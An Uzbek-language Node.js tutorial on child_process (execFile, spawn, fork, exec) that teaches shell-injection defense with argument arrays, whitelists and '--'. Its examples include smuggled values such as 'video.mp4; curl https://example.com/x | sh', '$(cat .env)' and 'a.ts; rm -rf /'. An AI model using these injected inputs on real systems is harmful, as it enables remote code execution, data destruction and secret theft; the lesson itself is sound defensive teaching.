Mundarija (27)
- Bu darsda
- 1. Nega bu kerak?
- 2. Bola jarayon nima
- 2.1 To'rt funksiya
- 3. execFile: dastur va argumentlar
- 3.1 Oddiy chaqiruv
- 3.2 Exit kod va xato
- 3.3 Sinxron variant
- 4. spawn: oqim bilan ishlash
- 4.1 stdio sozlamasi
- 4.2 Boshqa foydali sozlamalar
- 5. fork: Node'dan Node'ga xabar
- 6. Shell injection: exec nega xavfli
- 6.1 Shell nima qo'shadi
- 6.2 To'g'ri yo'l: shell'siz, argument massivi bilan
- 7. Hujumchi nigohi
- 8. Windows: .cmd fayllar tuzog'i
- 9. CLI qadami: holat yo'q — testlarda execFile
- 10. Ko'p uchraydigan xatolar
- 11. Mashqlar
- 1-mashq (oson): qaysi funksiya?
- 2-mashq (o'rta): run yordamchisi
- 3-mashq (qiyin): xavfsiz git log
- 4-mashq: CLI qadami — testlardagi yo'lni tozalash
- 12. Real ishda
- Xulosa
- Manbalar
Node.js child_process: exec, execFile, spawn va fork bilan tashqi dasturlar
Qisqacha:
node:child_process— Node'dan boshqa dasturni (git, ffmpeg, boshqa Node skripti) bola jarayon sifatida ishga tushirish moduli. To'rtta asosiy funksiya:execFile(dastur + argumentlar, natija oxirida),spawn(natija oqim bo'lib keladi),exec(butun satr shell orqali — xavfli) vafork(Node skripti + xabar almashish kanali). Qoida: foydalanuvchi matni bor joydaexecvashell: trueishlatilmaydi. Windows'da biz o'lchadik:npm.cmdni shell'siz chaqirish —EINVAL, shell bilan —DEP0190ogohlantirishi.
Bu darsda
exec,execFile,spawnvaforkning farqini bilib, vazifaga mosini tanlaysiz.- Bola jarayonning stdout/stderr'ini, exit kodini va xatosini to'g'ri o'qiysiz.
stdiosozlamasi vaforkdagi IPC kanalidan foydalanasiz.- Shell injection qanday ishlashini ko'rib, undan himoyalanasiz.
- Windows'dagi
.cmdtuzog'ini vaAbortSignal/timeoutbilan to'xtatishni bilasiz.
Oldin bilishingiz kerak: process obyekti, Exit code va buyruqlarni zanjirlash, Muhit o'zgaruvchilari, PATH, timers va timers/promises.
1. Nega bu kerak?
Node hamma narsani o'zi qila olmaydi — va kerak ham emas. Video siqish uchun ffmpeg bor, versiyalar uchun git, baza nusxasi uchun pg_dump. Ular yillar davomida sayqallangan. Ularni JavaScript'da qaytadan yozish o'rniga, Node ularni ishga tushirib, natijasini olishi mumkin.
Misollar:
- Deploy skripti
git rev-parse HEADbilan oxirgi commit hash'ini oladi. - Kurs platformasi yuklangan videoni
ffmpegbilan kichraytiradi. valyutatestlari CLI'ning o'zini alohida jarayonda ishga tushiradi va chiqishini tekshiradi.
Lekin bu kuch bilan birga xavf ham keladi. Agar buyruq satriga foydalanuvchi yozgan matn qo'shilsa, u matn buyruqning bir qismi bo'lib qolishi mumkin. Bu — shell injection, eng xavfli zaifliklardan biri.
O'xshatish: restoran oshpazi (Node) non yopmaydi — novvoyga (tashqi dastur) buyurtma beradi. Buyurtma qog'ozini to'g'ri to'ldirsa — "2 ta non". Agar mijoz yozgan narsani to'g'ridan qog'ozga ko'chirsa — "2 ta non, kassadagi pulni ham ber" degan yozuv ham bajarilib ketishi mumkin.
2. Bola jarayon nima
Bola jarayon (child process) — sizning Node dasturingiz (ota jarayon) ishga tushirgan boshqa dastur. U operatsion tizimda alohida jarayon: o'z xotirasi, o'z PID'i, o'z stdin/stdout/stderr'i bor (process obyekti). Ota va bola o'zgaruvchilarni bo'lishmaydi — faqat oqimlar, exit kod va (fork da) xabarlar orqali gaplashadi.
flowchart LR
P["Node (ota)"] -->|"argumentlar, env, stdin"| C["bola jarayon"]
C -->|"stdout, stderr"| P
C -->|"exit kod / signal"| P
P <-.->|"IPC xabarlar (faqat fork)"| CDiagrammada ota boladan uch narsa oladi: chiqish oqimlari, tugash kodi va (faqat fork da) xabarlar. Bolaga esa argumentlar, muhit o'zgaruvchilari va stdin beradi.
2.1 To'rt funksiya
| Funksiya | Nima ishga tushadi | Natija qanday keladi |
|---|---|---|
execFile(fayl, [arg]) |
dastur, shell'siz | oxirida bitta satr (callback/promise) |
spawn(fayl, [arg]) |
dastur, shell'siz | oqimlar (child.stdout) |
exec("butun satr") |
shell orqali | oxirida bitta satr |
fork("skript.js") |
Node skripti | oqimlar + IPC xabarlar |
Har birining …Sync varianti ham bor (execFileSync, spawnSync) — ular event loop'ni bloklaydi. CLI skriptlarida qulay, serverda — yo'q (Event loop'ni bloklash).
process.execPath — hozir ishlab turgan node dasturining to'liq yo'li. Bola sifatida "xuddi o'zimdek Node" ni ishga tushirish uchun shu ishlatiladi: PATH da qaysi node turganiga bog'liq bo'lmaydi.
3. execFile: dastur va argumentlar
3.1 Oddiy chaqiruv
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const run = promisify(execFile);
const { stdout, stderr } = await run(process.execPath, [
"-e",
"console.log(2 + 3)",
]);
console.log(JSON.stringify(stdout)); // "5\n"
console.log(JSON.stringify(stderr)); // ""promisify (Promise yordamchilari) callback'li execFile ni await qilinadigan qiladi. Natija — { stdout, stderr } satrlari. E'tibor bering: "5\n" — oxirida qator belgisi bor. Odatda .trim() qilinadi.
Birinchi argument — dastur, ikkinchisi — argumentlar massivi. Har argument dasturga alohida, o'zgarishsiz yetib boradi. Ichida bo'shliq, &, ; yoki qo'shtirnoq bo'lsa ham — u shunchaki matn.
3.2 Exit kod va xato
Bola 0 dan boshqa kod bilan tugasa, promise rad etiladi (Exit code):
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const run = promisify(execFile);
try {
await run(process.execPath, [
"-e",
"console.error('kurs topilmadi'); process.exit(3)",
]);
} catch (error) {
console.log(error.code); // 3
console.log(JSON.stringify(error.stderr)); // "kurs topilmadi\n"
}Xato obyektida hamma kerakli narsa bor: code — exit kod, stdout va stderr — bola nimani yozib ulgurgan, signal — signal bilan o'ldirilgan bo'lsa uning nomi. error.message esa Command failed: … bilan boshlanib, to'liq buyruqni ko'rsatadi.
Dastur umuman topilmasa — boshqa xato:
import { execFile } from "node:child_process";
import { promisify } from "node:util";
try {
await promisify(execFile)("bunday-dastur-yoq", []);
} catch (error) {
console.log(error.code, "|", error.message);
}Konsolda:
ENOENT | spawn bunday-dastur-yoq ENOENTENOENT — "Error NO ENTry", ya'ni "bunday fayl yo'q". Bu yerda code — son emas, satr. Exit kod va "ishga tushmadi" xatosini shu bilan farqlaysiz: typeof error.code === "number".
3.3 Sinxron variant
Kichik skriptda execFileSync qisqaroq:
import { execFileSync } from "node:child_process";
const out = execFileSync(process.execPath, ["-p", "6 * 7"], {
encoding: "utf8",
});
console.log(out.trim()); // 42encoding: "utf8" bo'lmasa, natija satr emas, Buffer bo'ladi (Buffer darsida ko'ramiz). Exit kod 0 bo'lmasa, execFileSync xato tashlaydi va uning status maydonida kod turadi.
Tekshirib ko'ring:
catch (error)daerror.codeqiymati"ENOENT"bo'ldi. Bola dastur ishladimi?
Javob
Yo'q. ENOENT — dastur faylini topib bo'lmadi, jarayon umuman boshlanmadi. Agar bola ishlab, xato bilan tugaganida, error.code son (exit kod) bo'lardi.
4. spawn: oqim bilan ishlash
execFile butun chiqishni xotirada yig'adi va oxirida beradi. Sukut chegarasi — maxBuffer, 1 MB (Node hujjati); undan ko'p chiqish bo'lsa, bola o'ldiriladi. Uzoq ishlaydigan yoki katta chiqish beradigan dastur uchun spawn kerak — u stdout'ni oqim sifatida beradi:
import { spawn } from "node:child_process";
const code = `process.stdin.on("data",
(d) => process.stdout.write(String(d).toUpperCase()))`;
const child = spawn(process.execPath, ["-e", code]);
child.stdin.end("osh va manti");
let out = "";
for await (const chunk of child.stdout) out += chunk;
const exitCode = await new Promise((r) => child.on("close", r));
console.log(out, exitCode); // OSH VA MANTI 0Bu yerda uch oqim ham ishladi. Biz bolaning stdin'iga yozdik, u katta harfga o'girib stdout'ga chiqardi. Biz esa uni for await bilan o'qidik. "close" hodisasi — bola tugadi va uning hamma oqimlari yopildi; birinchi argument — exit kod.
4.1 stdio sozlamasi
Bolaning uch oqimi qayerga ulanishini stdio belgilaydi:
| Qiymat | Ma'nosi | Qachon |
|---|---|---|
"pipe" (sukut) |
ota o'qiydi/yozadi (child.stdout) |
natijani dasturda ishlatish |
"inherit" |
otaning terminaliga to'g'ridan | npm install chiqishini foydalanuvchiga ko'rsatish |
"ignore" |
hech qayerga | chiqish kerak emas |
Massiv ham bo'ladi: stdio: ["pipe", "pipe", "inherit"] — stdin va stdout'ni o'zimiz boshqaramiz, xatolar esa to'g'ridan terminalga. Kanon tajribasi aynan shunday qilgan.
4.2 Boshqa foydali sozlamalar
cwd— bola qaysi papkada ishlaydi.env— muhit o'zgaruvchilari. Diqqat:envberilsa, otaniki o'rniga faqat shu ishlatiladi. Shuning uchun{ ...process.env, YANGI: "1" }ko'rinishida beriladi —valyutatestlari shunday qiladi.timeout— shuncha millisekunddan keyin bolaga signal yuboriladi.signal—AbortSignal(timers darsidan): bekor qilinsa, bola to'xtatiladi.
import { spawn } from "node:child_process";
const controller = new AbortController();
const sleeper = "setTimeout(() => {}, 5000)";
const child = spawn(process.execPath, ["-e", sleeper], {
signal: controller.signal,
});
child.on("error", (e) => console.log("error:", e.name));
setTimeout(() => controller.abort(), 50);
const [code, signal] = await new Promise((r) =>
child.on("close", (c, s) => r([c, s])),
);
console.log("close:", code, signal);Konsolda:
error: AbortError
close: null SIGTERM5 soniya uxlashi kerak bo'lgan bola 50 ms da to'xtadi. Exit kod null — chunki u o'zi tugamadi, uni signal (SIGTERM) to'xtatdi. Kanon xuddi shuni timeout: 300 bilan o'lchagan: spawnSync natijasida signal: SIGTERM, error: ETIMEDOUT.
Tekshirib ko'ring: 200 MB log chiqaradigan dasturni
execFilebilan ishga tushirsangiz nima bo'ladi?
Javob
maxBuffer (sukut 1 MB) oshib ketadi: Node bolani to'xtatadi va xato qaytaradi. Katta chiqish uchun spawn va oqim bilan o'qish kerak — ma'lumot bo'lak-bo'lak keladi va xotirada to'planib qolmaydi.
5. fork: Node'dan Node'ga xabar
fork — spawn ning Node skriptlari uchun maxsus ko'rinishi. Asosiy farqi — IPC kanali (inter-process communication — jarayonlararo aloqa): ota va bola send() bilan obyekt yuboradi, "message" hodisasi bilan qabul qiladi.
import { fork } from "node:child_process";
import { writeFileSync } from "node:fs";
// bola skript: sonni olib, ikki baravarini qaytaradi
writeFileSync("bola.mjs", `process.on("message", (m) => {
process.send({ javob: m.son * 2 });
process.disconnect();
});`);
const child = fork("./bola.mjs");
child.send({ son: 21 });
const [message] = await new Promise((r) =>
child.once("message", (...args) => r(args)),
);
console.log(message); // { javob: 42 }Obyekt JSON'ga o'xshash ko'rinishda ketadi va boshqa tomonda qayta yig'iladi. process.disconnect() — bola kanalni yopadi, aks holda ochiq kanal ikkala jarayonni ham tirik ushlab turadi.
fork qachon kerak? Og'ir hisobni alohida jarayonga berish uchun — u asosiy event loop'ni bloklamaydi. Lekin har jarayon — alohida Node: o'nlab megabayt xotira va o'nlab millisekund ishga tushish vaqti (Node.js nima darsidagi node -e 0 — 73 ms). Node'da buning yengilroq yo'li ham bor — worker_threads; ko'p yadroli serverlar uchun esa cluster ichida aynan fork ishlaydi.
6. Shell injection: exec nega xavfli
6.1 Shell nima qo'shadi
exec sizning satringizni to'g'ridan dasturga bermaydi. U avval shellni ishga tushiradi (Windows'da cmd.exe, Linux'da /bin/sh) va satrni unga beradi (Terminal, shell va prompt). Shell esa satrni o'zicha tushunadi: &&, ;, |, >, $( ) — bular uning maxsus belgilari.
Foydalanuvchi ismini salomlashuvga qo'yadigan "beg'ubor" kod:
import { exec } from "node:child_process";
import { promisify } from "node:util";
const run = promisify(exec);
const name = "Ali && echo BUZILDI"; // foydalanuvchi yozgan matn
const { stdout } = await run(`echo Salom ${name}`);
console.log(JSON.stringify(stdout));Biz ishga tushirdik (Windows 11, cmd.exe):
"Salom Ali \r\nBUZILDI\r\n"Ikkita buyruq bajarildi! Shell && ni "birinchisi muvaffaqiyatli bo'lsa, ikkinchisini ham bajar" deb tushundi. echo BUZILDI o'rnida del, rm -rf yoki serveringizdagi sirlarni boshqa joyga yuboradigan buyruq bo'lishi mumkin edi. Linux'da /bin/sh ham && ni xuddi shunday tushunadi (biz Linux'da sinamadik; POSIX shell qoidasi).
6.2 To'g'ri yo'l: shell'siz, argument massivi bilan
Xuddi shu matn execFile ga argument sifatida berilsa:
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const run = promisify(execFile);
const name = "Ali && echo BUZILDI";
const { stdout } = await run(process.execPath, [
"-e",
"console.log('Salom ' + process.argv[1])",
name,
]);
console.log(stdout.trim()); // Salom Ali && echo BUZILDIBola matnni so'zma-so'z oldi — && oddiy belgi bo'lib qoldi, hech narsa bajarilmadi. Shell yo'q — talqin qiladigan ham yo'q.
7. Hujumchi nigohi
Hujumchi forma, URL parametri yoki fayl nomi orqali shell belgilarini yuboradi. Odatiy maqsadlar:
- Buyruq qo'shish:
video.mp4; curl https://example.com/x | sh— fayl nomi sifatida yuklangan "video". - Argument injection: shell yo'q bo'lsa ham,
-bilan boshlangan matn dasturga bayroq bo'lib ketishi mumkin. Masalangitga fayl nomi o'rnida--upload-pack=…kabi matn. - Ma'lumot o'g'irlash:
$(cat .env)— shell uni bajaradi va natijani satrga qo'yadi.
Himoya qatlamlari:
| Qatlam | Nima qiladi |
|---|---|
execFile/spawn, shell yo'q |
shell maxsus belgilarini talqin qilmaydi |
| Argument massivi | har qiymat alohida, birlashtirilmaydi |
-- dan keyin foydalanuvchi qiymati |
git log -- <fayl>: keyingisi bayroq emas, nom |
| Oq ro'yxat | fayl nomi /^[\w.-]+$/ ga mos kelmasa — rad etish |
exec ga hech qachon foydalanuvchi matni |
qat'iy qoida, code review'da tekshiriladi |
Bu OWASP ro'yxatidagi "Injection" toifasining bir turi. Backend qismida boshqa injection turlari bilan birga yana ko'ramiz.
8. Windows: .cmd fayllar tuzog'i
Windows'da npm, npx, tsc kabi buyruqlar aslida .cmd fayl — kichik shell skripti. Kanon ularni turli yo'llar bilan chaqirib o'lchadi (natijalar/tajriba/t25-child.txt, Node 24.21.0, Windows 11):
npm.cmd (shell: false) status=null error=EINVAL stdout=
npm.cmd (shell: true) status=0 error=- stdout=11.19.0
npm (shell: false) status=null error=ENOENT stdout=
(node:22548) [DEP0190] DeprecationWarning: Passing args to a child process with shell option true can lead to security vulnerabilities, as the arguments are not escaped, only concatenated.Uch xil natija:
npm.cmd, shell'siz →EINVAL(noto'g'ri argument). 2024-yil aprelidagi Node xavfsizlik tuzatishidan beri.cmdva.batfayllarni faqatshell: truebilan ishga tushirish mumkin. Sababi — Windows'ningcmd.exeargumentlarni o'z qoidalari bilan qayta talqin qiladi va bu injection'ga yo'l ochardi.npm.cmd,shell: true→ ishladi, lekin Node 24DEP0190ogohlantirishini berdi. Tarjimasi: "shell bilan bola jarayonga argument berish xavfsizlik zaifligiga olib kelishi mumkin — argumentlar ekranlanmaydi, shunchaki birlashtiriladi". Ya'ni bu aslida yanaexec— injection xavfi qaytdi.npm, shell'siz →ENOENT: shell'siz Windows.cmdkengaytmasini o'zi qo'shmaydi.
Linux va macOS'da npm — oddiy bajariladigan skript, spawn("npm", …) shell'siz ishlaydi (hujjat bo'yicha; biz Linux'da o'lchamadik). Shuning uchun "mening kompyuterimda ishlaydi" degan kod Windows'da yiqiladi — yoki aksincha.
Xulosa (kanon qarori): .cmd ni chaqirishdan qoching. Node skriptini ishga tushirish kerak bo'lsa — process.execPath + JS fayl yo'li. Paketning o'z JS kirish fayli bor (masalan node_modules/typescript/bin/tsc) — shuni process.execPath bilan chaqiring. Bu barcha tizimda bir xil ishlaydi va shell yo'q.
9. CLI qadami: holat yo'q — testlarda execFile
valyuta hech qanday tashqi dasturni chaqirmaydi: kurs fetch bilan, kesh fs bilan, siqish zlib bilan — hammasi Node ichida. Tashqi dastur qo'shish — foydalanuvchi kompyuterida u bo'lishini talab qilish degani. Shuning uchun child_process ishlab chiqarish kodiga kirmadi.
Lekin u testlarda bor. process obyekti darsidan (holat 08) beri test/cli.test.ts CLI'ni haqiqiy jarayon sifatida ishga tushiradi. U yerda bu kodni tayyor nusxa sifatida olgandingiz — endi har qatorini tushunasiz (kanon kodi aynan, uzun qator):
const CLI = new URL("../src/bin.ts", import.meta.url).pathname.replace(/^\/(\w:)/, "$1");
async function ishgaTushir(args: string[], env: Record<string, string> = { VALYUTA_OFFLINE: "1" }) {
try {
const { stdout, stderr } = await promisify(execFile)(process.execPath, [CLI, ...args], { env: { ...process.env, VALYUTA_KESH: KESH, VALYUTA_SOZLAMA: SOZLAMA, ...env } });
return { kod: 0, stdout, stderr };
} catch (x) {
const e = x as { code: number; stdout: string; stderr: string };
return { kod: e.code, stdout: e.stdout, stderr: e.stderr };
}
}Bu darsdagi hamma qoidalar shu yerda:
process.execPath—npm.cmdyokiPATHdaginodeemas, aynan testni ishga tushirgan Node.execFile+ argumentlar massivi — shell yo'q.env: { ...process.env, … }— otaning muhiti saqlanadi, ustiga test papkalari qo'shiladi.- Xato bo'lsa ham
stdout/stderrqaytariladi — "exit 1 va to'g'ri xato matni" ham test qilinadi.
Birinchi qatordagi pathname.replace(/^\/(\w:)/, "$1") — Windows uchun qo'lda tuzatish: URL yo'li /C:/… ko'rinishida bo'ladi. Xuddi shuni fileURLToPath(new URL(…)) (node:url) toza qiladi — o'z loyihangizda shunisini ishlating.
Kanon tajribasidagi oxirgi ikki o'lchov ham shu darsga tegishli: execFileSync exit 3 bilan → xato.status === 3; timeout: 300 → signal: SIGTERM, error: ETIMEDOUT. Bu darsda commit yo'q.
10. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
spawn npm ENOENT (Windows) |
.cmd kengaytmasiz, shell'siz |
process.execPath + JS kirish fayli |
spawn EINVAL (Windows) |
.cmd shell'siz |
xuddi shu; shell: true emas |
[DEP0190] DeprecationWarning |
shell: true + argumentlar massivi |
shell'ni olib tashlang |
Chiqish oxirida \n / \r\n |
Dastur qator bilan tugatadi | .trim() |
maxBuffer length exceeded |
exec/execFile chiqishi > 1 MB |
spawn va oqim |
Bolada PATH yo'q, dastur topilmaydi |
env faqat yangi kalitlar bilan |
{ ...process.env, … } |
| Ota tugamaydi | fork kanali ochiq |
disconnect() yoki child.kill() |
11. Mashqlar
Mashqlar kurs/mashqlar/24/25-child-process/ da. Bloklar Node'da: node fayl.mjs.
1-mashq (oson): qaysi funksiya?
- Natija katta oqim bo'lib keladi —
- Node skripti bilan obyekt almashish —
- Butun satr shell orqali (foydalanuvchi matni bilan — xavfli) —
- Joriy Node dasturining yo'li —
process. - Windows'da
.cmdni shell'siz chaqirsa — xato kodi
Yechim
- spawn —
child.stdoutoqim. - fork — IPC kanali,
send/"message". - exec — shell talqin qiladi.
- execPath —
PATHga bog'liq emas. - EINVAL — 2024-yil xavfsizlik tuzatishidan beri.
2-mashq (o'rta): run yordamchisi
run(args) funksiyasini yozing: process.execPath ni berilgan argumentlar bilan ishga tushirsin va har holda { code, out, err } qaytarsin (exit 0 — code: 0; xato bo'lsa ham rad etmasin). out va err — trim qilingan. Sinang: -p "1+1", -e "process.exit(4)" va -e "console.error('yoq'); process.exit(1)".
Yechim
import { execFile } from "node:child_process";
import { promisify } from "node:util";
const execFileP = promisify(execFile);
async function run(args) {
try {
const node = process.execPath;
const { stdout, stderr } = await execFileP(node, args);
return { code: 0, out: stdout.trim(), err: stderr.trim() };
} catch (e) {
const out = (e.stdout ?? "").trim();
return { code: e.code, out, err: (e.stderr ?? "").trim() };
}
}
console.log(await run(["-p", "1+1"]));
console.log(await run(["-e", "process.exit(4)"]));
const failing = "console.error('yoq'); process.exit(1)";
console.log(await run(["-e", failing]));Konsolda:
{ code: 0, out: '2', err: '' }
{ code: 4, out: '', err: '' }
{ code: 1, out: '', err: 'yoq' }Bu — valyuta dagi ishgaTushir ning soddalashgan nusxasi. e.code exit kodi; dastur topilmasa u "ENOENT" satri bo'lardi.
3-mashq (qiyin): xavfsiz git log
Foydalanuvchi fayl nomini beradi, siz shu faylning oxirgi 3 ta commitini olishingiz kerak. Oldin xavfsizlik tekshiruvi funksiyasini yozing: safeGitArgs(file) — fayl nomi /^[\w./-]+$/ ga mos kelmasa yoki - bilan boshlansa, Error tashlasin; aks holda ["log", "-3", "--oneline", "--", file] qaytarsin. Sinang: "src/cli.ts", "a.ts; rm -rf /", "--output=x".
Yechim
function safeGitArgs(file) {
if (!/^[\w./-]+$/.test(file) || file.startsWith("-")) {
throw new Error(`Ruxsat etilmagan fayl nomi: ${file}`);
}
return ["log", "-3", "--oneline", "--", file];
}
for (const f of ["src/cli.ts", "a.ts; rm -rf /", "--output=x"]) {
try {
console.log(safeGitArgs(f).join(" "));
} catch (e) {
console.log(e.message);
}
}Konsolda:
log -3 --oneline -- src/cli.ts
Ruxsat etilmagan fayl nomi: a.ts; rm -rf /
Ruxsat etilmagan fayl nomi: --output=xUch qatlam: oq ro'yxat (; va bo'shliq o'tmaydi), - bilan boshlanmaslik (bayroq bo'lib ketmasin) va -- (git uchun "keyingisi — fayl"). Keyin execFile("git", safeGitArgs(f)) — shell'siz. Windows'da git.exe haqiqiy dastur, .cmd emas, shuning uchun shell'siz ishlaydi (biz git --version bilan tekshirdik).
4-mashq: CLI qadami — testlardagi yo'lni tozalash
O'z valyuta ingizning test/cli.test.ts faylida CLI yo'lini fileURLToPath bilan qayta yozing (.pathname.replace(…) o'rniga). npm test o'tishini tekshiring. Kanonda bu o'zgarish yo'q — bu sizning kichik yaxshilanishingiz; commit — o'zingiz xohlasangiz.
Yechim
import { fileURLToPath } from "node:url";
const CLI = fileURLToPath(new URL("../src/bin.ts", import.meta.url));fileURLToPath Windows'da C:\…\src\bin.ts, Linux'da /…/src/bin.ts beradi — qo'lda regex kerak emas. Testlar soni o'zgarmaydi (33).
12. Real ishda
- Deploy va CI skriptlari —
git,docker,pg_dumpni chaqiradigan Node skriptlari. Ko'pchilikexecakutubxonasidan foydalanadi: uspawnustidagi qulay qobiq, Windows.cmdmuammosini ham hal qiladi. - Media qayta ishlash — ffmpeg, ImageMagick. Ular uzoq ishlaydi va katta chiqish beradi — faqat
spawn,timeoutvasignalbilan. - Xavfsizlik auditlari —
exec(\… ${foydalanuvchi}`)` — code review'da birinchi qidiriladigan narsa. Statik tahlil vositalari (ESLint xavfsizlik plaginlari) ham uni ushlaydi. - Intervyu savoli: "
execvaexecFilefarqi?" — shell va injection; "spawnvaexec?" — oqim va 1 MB bufer chegarasi.
Xulosa
- Bola jarayon — alohida dastur; ota bilan oqimlar, exit kod va (
forkda) IPC orqali gaplashadi. execFile— kichik natija;spawn— oqim va uzoq ish;fork— Node + xabarlar;exec— shell, faqat o'zingiz yozgan doimiy satr uchun.- Exit kod
error.code(son), "ishga tushmadi" —ENOENT(satr);timeoutvasignalbolani to'xtatadi. - Foydalanuvchi matni — faqat argumentlar massivida,
shellsiz,--va oq ro'yxat bilan. - Windows:
.cmdshell'sizEINVAL, shell bilanDEP0190— o'rnigaprocess.execPath+ JS fayl.
Keyingi dars: net, dns va tls: TCP darajasida Node — HTTP ostidagi soketlar, DNS so'rovi va TLS sertifikatini o'z qo'lingiz bilan tekshirish.
Manbalar
- Node.js hujjati — Child process (
exec,execFile,spawn,fork,stdio,maxBuffer,signal, "Spawning .bat and .cmd files on Windows"): https://nodejs.org/docs/latest-v24.x/api/child_process.html - Node.js hujjati — Deprecations, DEP0190: https://nodejs.org/docs/latest-v24.x/api/deprecations.html
- Node.js xavfsizlik relizi, 2024-04-10 (CVE-2024-27980, Windows'da
.bat/.cmdargument injection): https://nodejs.org/en/blog/vulnerability/april-2024-security-releases-2 - OWASP — OS Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- Kanon:
natijalar/tajriba/t25-child.txt(Node 24.21.0, Windows 11, 2026-10-23),valyutatestlari (test/cli.test.ts). Shell injection vaAbortSignalmisollari — biz ishga tushirdik (Node 24.21.0, Windows 11).
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!